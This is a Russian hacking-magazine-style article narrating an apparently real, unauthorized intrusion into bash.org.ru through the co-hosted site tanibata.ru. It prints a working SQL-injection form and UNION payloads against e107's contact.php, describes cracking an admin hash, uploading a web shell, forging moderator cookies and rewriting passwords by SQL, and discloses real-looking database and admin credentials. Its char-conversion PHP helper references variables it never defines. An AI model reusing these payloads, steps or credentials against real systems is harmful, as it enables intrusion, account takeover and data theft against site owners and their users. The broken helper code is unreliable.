На улице шел проливной дождь. Было грустно, и я решил почитать баш. За
чтением мне пришла в голову безумная идея попасть в админку цитатника рунета и
пощупать его изнутри. Самое главное – где-то спустя полдня археологических
изысканий мне это удалось!
От идеи к действиям
Расскажу подробнее о наивнейших ошибках людей, отвечающих за софт на серверах
русского башорга. Итак, погнали!
Первым делом я немного пощупал скрипты самого башорга. Единственным
интересным открытием был фришный php-скрипт Openads 2.0.11-pr1 (phpadsnew.com),
расположенный по адресу http://lol.bash.org.ru/b/admin/index.php. Скрипт
отвечает за текстовую рекламу, расположенную между цитатами на всех страницах
баша. Посерфив пару-тройки секурити-порталов, я не нашел ни одного паблик
сплойта под эту версию. Немного покопав движок на предмет багов, я решил
оставить его на потом, и продолжил свои поиски.
Следующим шагом был сервис www.seologs.com/ip-domains.html, который показал
мне все виртуальные домены, расположенные на IP-адресе баша (89.111.182.137).
Это были:
http://animau.ru
http://bash.org.ru
http://tanibata.ru
http://words.bash.org.ru
Как видишь, улов не особо густой. Единственным доступным из этих адресов, не
считая самого баша, был сайт tanibata.ru, посвященный фестивалю японской
анимации (чертовы анимешники :)). За него я и взялся.
Ня!
Вскользь просмотрев исходник главной страницы подопытного сайта, я увидел там
строку:
<script type='text/javascript' src='/e107_files/e107.js'></script>
и очень обрадовался, что там установлен «самый безопасный движок по версии
журнала PC Magazine» e107 :). Следующим шагом было определение версии движка.
Насколько я знал, сделать это можно, по меньшей мере, двумя способами. Первый –
пройти по адресу http://tanibata.ru/e107_docs/README_UPGRADE.html. Второй –
пройти по адресу http://tanibata.ru/e107_admin/admin.php.
Ни один из способов не прокатил. Тогда я взял за основу дату первой
публикации новости на сайте (Sunday 27 May 2007) и чисто теоретически
предположил, что версия движка лежит в пределах от 0.7.6 до 0.7.8 (причем,
последняя на момент написания статьи – 0.7.11). Теперь необходимо было немного «посерчить»
на http://milw0rm.com на предмет паблик эксплойтов под e107, чем я немедленно и
занялся. Под искомые версии движка существовали следующие сплойты:
e107 <= 0.7.8 (photograph) Arbitrary File Upload Vulnerability
e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed)
Второй я отбросил сразу, так как он требовал права админа. Прочитав же
описание к первому, я вынужден был отбросить и его, так как это была ложная
уязвимость, которая предоставляла лишь загруженный php-код в теле фотографии (и
ничего более). Отложив на время e107, я принялся серфить дальше мой подопытный
ресурс. Единственной зацепой был форум IP.Board, расположенный по адресу http://tanibata.ru/forum/.
Открыв исходник страницы, я крайне расстроился, ибо версия IPB 2.2.0 была на тот
момент абсолютно непробиваемой. Ничего не оставалось, как самому копать
исходники либо IPB, либо e107. Я выбрал e107. И не ошибся!
Индиана Джонс и e107
Слив на свой ноутбук cms e107 0.7.8 и благополучно установив, я стал ковырять
скрипты. Через несколько часов я получил результат в виде скрипта contact.php и
следующей строчки кода в нем:
else
{
$query = "user_id = ".$_POST['contact_person'];
}
Как видно, переменная $_POST['contact_person'] подставляется в SQL-запрос
абсолютно нефильтрованной! Трудность заключалась в дальнейших строках кода:
if($sql -> db_Select("user", "user_name,user_email",$query." LIMIT 1"))
{
$row = $sql -> db_Fetch();
$send_to = $row['user_email'];
$send_to_name = $row['user_name'];
}
else
{
$send_to = SITEADMINEMAIL;
$send_to_name = ADMIN;
}
Сложностей было даже две.
Первая: e107 никогда, ни при каких обстоятельствах не выведет сообщения об
ошибке в SQL-запросе.
Вторая: при верно составленной SQL-квере мыло, которое ты отсылаешь в форме
контакта с администрацией, уйдет на e-mail, который ты укажешь сам; иначе – на
мыло админа. Эксплойт для blind sql-injection был, в принципе, возможен, но, как
обычно, писать его было лениво.
Немного подумав, я вспомнил об одной особенности заголовка «To:» при отправке
мыла. Итак, в этом поле можно указать мыло получателя в формате «Имя фамилия
billy@microsoft.com», и e-mail успешно уйдет адресату! На основе этой информации
я придумал простенький эксплойт под эту багу:
<form action="http://tanibata.ru/contact.php" method="POST">
<input name="send-contactus" value="1"/>
<input name="body" value="Thisd is a test email from tanibata =)"/>
<input name="email_send" value="moy_email@gmail.com"/>
<input name="author_name" value="mazafaka"/>
<input name="subject" value="Mega Subject"/><br/>
<input size=200 name="contact_person" value="-999 union
select 1,concat(user_password,' ',user_loginname,' <moy_email@gmail.com>')
from e107_user where user_id=1/*"/>
<br/><input type="submit" value="ok"/>
</form>
Но так как на сервере был включен magic_quotes_gpc, то этот вариант сплойта
не прокатил. Нужно было модифицировать все символы, находящиеся в кавычках, в
char. Для этого я написал простенький скрипт:
<?php
$symbols=' <moy_email@gmail.com>';
for($i=0;$i<strlen($site);$i++)
{
$i!=(strlen($site)-1) ? print $arr[substr($site,$i,1)].',' : print $arr[substr($site,$i,1)];
}
?>
В результате получилось что-то вроде этого в поле «contact_person»:
value="-999 union select user_password,
concat(
user_password, char(32),
user_loginname, char(32,60,109,111,121,95,121,97,119,105,107,
64,98,107,46,114,117,62))
from e107_user where user_id=1/*"
После успешного сабмита я увидел мессагу от e107: «Your message was
succesfully sent!», а также новое мыло в своем ящике, где в поле «To:» были хеш
и логин админа tanibata.ru:
"To: "30e50569d9a3d6f73ec5075754d43d07 Ren" <moy_email@gmail.com>"
Для успешного входа в админку портала мне жизненно необходимо было
расшифровать полученный хеш, так как копаться в исходных кодах e107, отвечающих
за авторизацию пользователей, опять не позволяла та же лень. Я полез на всеми
любимый сервис по расшифровке md5-хешей plain-text.info, который, к глубочайшему
сожалению, не смог мне ничем помочь. Не отчаиваясь, я просмотрел список всех
юзеров танибаты с помощью http://tanibata.ru/e107_plugins/forum/forum_stats.php.
Приветливый скрипт подсказал мне, что на портале есть и второй админ с ником
Selena и ID=2, к которому я и применил свой мегасплойт. Новый хеш
e10adc3949ba59abbe56e057f20f883e plain-text.info расшифровал уже с большей
охотой, в результате чего я и оказался в админке
http://tanibata.ru/e107_admin/admin.php с данными Selena:123456 :).
Кавай!
Далее было бы логично залить шелл. Чем я тут же и занялся! Потыкав немного по
различным пунктам админки и убедившись, что любой аплоад файла с расширениями .php,
.phtml режется на корню, я случайно наткнулся на интересную форму того же аплода
в управлении плагинами. Эта форма поддерживает загрузку новых плагинов,
запакованных в zip или tar.gz. Следуя этой логике, я запаковал свой шелл в zip и
успешно загрузил его, в результате чего получил доступ к серваку по адресу http://tanibata.ru/e107_plugins/404.php?stulcheg
:). Немного пошастав по серваку, я нашел сам башорг в /export/hosts/bash.org.ru/documents,
где в дальнейшем и остался для изучения всей подноготной баша.
Глубже!
Первым каталогом, заинтересовавшим мое внимание, был admstat. Перейдя по
адресу http://bash.org.ru/admstat, я увидел незащищенную паролем статистику
зааппрувленных и перелопаченных модераторами баша цитат! Как стало видно из
статистики, наиболее активным модером является ujin :). Следующим каталогом для
изучения стал app42. По этому адресу находится админга русского башорга. Но
чтобы попасть в нее, нужно было изучить механизм авторизации в app42/index.php.
Меня заинтриговал следующий код:
if (isset($_COOKIE["panda"]) and isset($_COOKIE["kopanda"])) {
$check = $db->get_results("select id, login, password from moderators where md5(login)='".
$_COOKIE["panda"]."' and password='".$_COOKIE["kopanda"]."'", ARRAY_A);
if (!empty($check)) {
$moderator_id = $check[0]['id'];
setcookie("panda", $_COOKIE["panda"], $time+3200);
setcookie("kopanda", $_COOKIE["kopanda"], $time+3200);
$db->query("update moderators set lastseen_at=now() where id=$moderator_id");
$smarty->assign("MODERATOR_ID", $moderator_id);
} else {
header($failover."login");
}
} else {
if ($request_action != 'login') header($failover."login");
}
...
case 'login':
if (isset($_POST['login']) && isset($_POST['password'])) {
$login = $_POST['login'];
$password = $_POST['password'];
$check = $db->get_results("select login, password from moderators
where login='$login' and password=PASSWORD('$password')", ARRAY_A);
if (!empty($check)) {
setcookie("panda", md5($login), $time+3200);
setcookie("kopanda", $check[0]['password'], $time+3200);
header($failover);
}
}
$template = 'admin_login.tpl';
break;
Отсюда следовало:
- Логины и пароли модераторов хранятся в таблице moderators. Поля login и
password, соответственно. - Пароли модераторов зашифрованы встроенной функцией mysql PASSWORD().
- Если существуют куки со следующим содержанием – $_COOKIE["panda"]=md5('логин_модератора')
и $_COOKIE["kopanda"]=PASSWORD('пароль_модератора'), то ты оказываешься
успешно залогиненным в админку.
Необходимо было найти доступы к базе данных. Над ней предстояло немного
поизвращаться, дабы не расшифровывать mysql5-хеши модеров.
Я залил менеджер БД RST Mysql в ту же папку, где у меня лежал шелл, и успешно
проник в базу башорга с помощью урл http://tanibata.ru/e107_plugins/sql.php.
Данные для доступа к БД лежали в корне башорга в файле _config.inc.php:
$db = new ezSQL_mysql(
'krivedko',
'DiamondIsUnbreakable',
'bashorg_refactored',
'localhost');
(ezSQL – не правда ли, знакомое название?)
Зайдя в bashorg_refactored в таблицу moderators, я увидел все данные модеров
баша в формате id, логин, имя, пароль и последний заход в админку.
Далее я успешно провел запрос к БД, позволивший мне зайти в админку под своим
паролем:
UPDATE moderators
SET password=PASSWORD('lopa')
WHERE id=1;
После логина в админку с данными administrator:lopa я изменил обратно пароль
ДаркРайдера:
UPDATE moderators
SET password='*08CDE192357B3CAB08B29E1636F78F0116452E79'
WHERE id=1;
А также подставил значение *08CDE192357B3CAB08B29E1636F78F0116452E79 в кукис
kopanda с помощью своей любимой Оперы (Инструменты -> Дополнительно -> Cookies).
На этом, собственно, моя цель и была достигнута.
Во имя добра
Я не стал наносить никакого вреда своему любимому ресурсу, а лишь немного
походил по админке и посмотрел на bash.org.ru изнутри. Все-таки работа
модераторов такого сайта огромна. И тебе хочу дать совет на будущее: никогда не
разрушай то, что приносит радость и веселье людям. А через несколько дней все
баги были закрыты без моего вмешательства, за что честь, хвала и ящик пива
админам!
DANGER
Вся описанная информация предоставляется исключительно к ознакомлению и
размышлению. Никакая часть данного материала не может быть использована во вред,
в обратном случае, ни автор, ни редакция не несут какой-либо ответственности за
возможный ущерб, причиненный материалами статьи.
|